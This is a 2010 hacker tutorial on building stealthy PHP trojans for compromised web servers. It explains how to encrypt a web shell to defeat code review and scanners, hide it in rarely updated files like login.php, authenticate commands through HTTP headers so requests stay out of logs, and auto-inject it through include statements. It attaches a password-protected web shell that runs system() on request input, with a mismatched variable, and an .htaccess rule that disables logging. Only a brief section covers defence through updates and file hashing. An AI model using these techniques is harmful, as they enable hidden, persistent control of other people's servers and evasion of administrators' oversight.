Introduction to php trojans

|=--------------------------------------------------------------------------------------------------=|
|=------------------------------=[Introduction to php trojans ]=------------------------------------=|
|=------------------------------------=[ 28 januari 2010 ]=-----------------------------------------=|
|=--------------------------------=[  By shad0w_crash  ]=-------------------------------------------=|
|=--------------------------------------------------------------------------------------------------=|


Index

1) Introduction
2) Assumptions
3) Code encryption
4) Request hiding
5) Injection
6) Measures
7) Contact

Attach 1: Most easy PHP trojan.
Attach 2: .Htaccess.

---------------------------------------------------------------------------------------------------------
1. Introduction

This is my second tutorial on something so feel free to send me feedback. The aim of this tutorial is providing some theory about creating a scripting trojan (in this case php). Not all the examples are perfectly argued so there's room for discussion. The whole trojan writing thing is one big taboo, i Hoped by writing this document their could be some discussion about it. I do not want site's to get infected by a trojan. Therefore I talked a lot in pseudo code and didn't make a working version (please don't build one).

---------------------------------------------------------------------------------------------------------
2. Assumptions

To create an less detectable PHP trojan we have some difficulties.

* When you access them the request'll apear in the logfiles.
* When an extra file appears in web directory it'll be detected by a human.
* When you add code to an index file a programmer will find it.
* When you add code to the index file it'll be overwritten by the next update.

This paper will not provide a solution for all of this problems. To provide a better overvieuw this are some 
assumptions I made:

- When an update of the webapplication takes place and all files are replaced they probably know something
	messed with their code, so your code wouldn't have a long livetime after all. For stronger trojans
	you should not be on this level of the operating system!
- If webmasters make filehashes of the files and compare them weekly the described methods will not work either.
	(I know there's a possibility to fix this by finding a collision in the admins hash but that's to much for now)!
- A webmaster isn't able to crack (T)DES, GOST, AES, etc.

---------------------------------------------------------------------------------------------------------
3. Code encryption

The idea to create a less detectable PHP trojan we have to have a working php trojan (see attach 1). The working 
of the suggested less detected trojan is to encrypt the original trojan. The encryption text is saved in a function(f1)
wich:

1) Decrypts the file to a randomlynamed temporary .php file.
2) Gets the original request and sends it to the temp file.
3) Removes the temp file. 

We now solved a few problems. The programmer doesn't now and can't know what the function does. Also possible code
analyses tools will not figure it out, since the only way is to decrypt the string with the password. Also
f1 could be inserted index.php remark that the function should be only executed if a specific boolean is enabled
(else every request to the website'll also invoke the trojan). 

The best place to store this function are files like newsletter.php and login.php. Since the libary files and index
files get updated most of the time. 

---------------------------------------------------------------------------------------------------------
4. Request hiding

A challenge left is the fact that every request'll apear in in the logfiles. I'll distinguish 2 requests here.
The first on to the file wich contains f1. And the second the request f1 does to the temporary decrypted file.

When you see a normal httprequest there's a lot more information then just the GET or POST. Lots of fields could be used
like Accept-Language, Useragent and more *1. The default $_SERVER for the useragent etc isn't all info php can provide.
By using getallheaders() you could find all headers. 
So we got 2 options:

- Extend our request with an new value (violating the RFC, but less change of access logs entry).
- Use an value chosen for something of the RFC (and abuse it, change of IDS detects it becomes higher).

The function could now get it's variables to authenticate and execute the internal proces. 
*** WARNING *** this is security trough obsecurity because it's always possible to snif and replay the attack.
Even when the server uses ssl theirs always a change the webadmin put on an better log tool or local sniffer.
He could now replay the attack and if he looks good he'll notice that it's an trojan

To avoid this we've to send an extra variable to the server. An new sha512 hash wich replaces the old one.
Now it's impossible to replay the attack because the password only work once (good luck reminding these).
Also this gives a possible cassing issue. The seccond on is fixed more easy. 

We extend f1

1) Create a randomlynamed directory
2) Write .htaccess to the directory
3) Decrypts the file to a randomlynamed temporary .php file.cd 
4) Gets the original request and sends it to the temp file.
5a) Removes the temp file. 
5b) Removes the temp .htaccess file. 
5c) Removes the directory.

In this way it'll not leave traces in the Access log at all.

---------------------------------------------------------------------------------------------------------
5. Injection

Now we now how to hide the trojan, and how to hide it's acting (as good as possible) we need a place to store it.
At first I mentioned to put in index.php or some like. But it can be done more efficently. We'll create an script that does the following things

1) Search for the include function
2a) match pick 2 randomly file=random include
2b) to bad  file=current
3) search file for variables of f1. 
4a) no match insert f1
4b) match replace variables in f1, then insert f1

---------------------------------------------------------------------------------------------------------
6. Measures

The best thing to do for not getting infected by a webtrojan is running up to date software. When your site isn't exploitable there's less chanse of getting a trojan. Also you could create a list with file hashes, store this on a remote computer and schedule a compare week or daily. In this way you'll mention when files changes!

---------------------------------------------------------------------------------------------------------
7. Contact 

If you have any thing to attach, just copy the text and repost it to the site you got it from. For contact http://twitter.com/shad0w_crash.

---------------------------------------------------------------------------------------------------------
Attach 1: Most easy PHP trojan.

<?php
error_reporting(0);	
$action = $_GET['cmd'];
$pw = $_GET['pw'];	
$password = "7a3b4197c700b7a94efef0a0590f465664ff210e120156a8c70913c1302fc06fa1bc85cffbf2fb113f99323f08e91489dd4531a0c3657b22fdc065f87b799f5b";
/* Remove this line!, password= Hasdf4g */
if( hash('sha512',$pw) == $password)
{
	echo system($cmd); 
}
?>


---------------------------------------------------------------------------------------------------------
Attach 2: .Htaccess.

SetEnvIf Request_URI "^/tmpdir/tempfile/.php$" dontlog
<Limit GET POST HEAD>
order deny,allow
deny from all
allow from 127.0.0.1 (or the remote ip of the server).
</Limit>

first rule disabbles access logs for the file. 
Second only allows a request by the server itself.



*1: http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html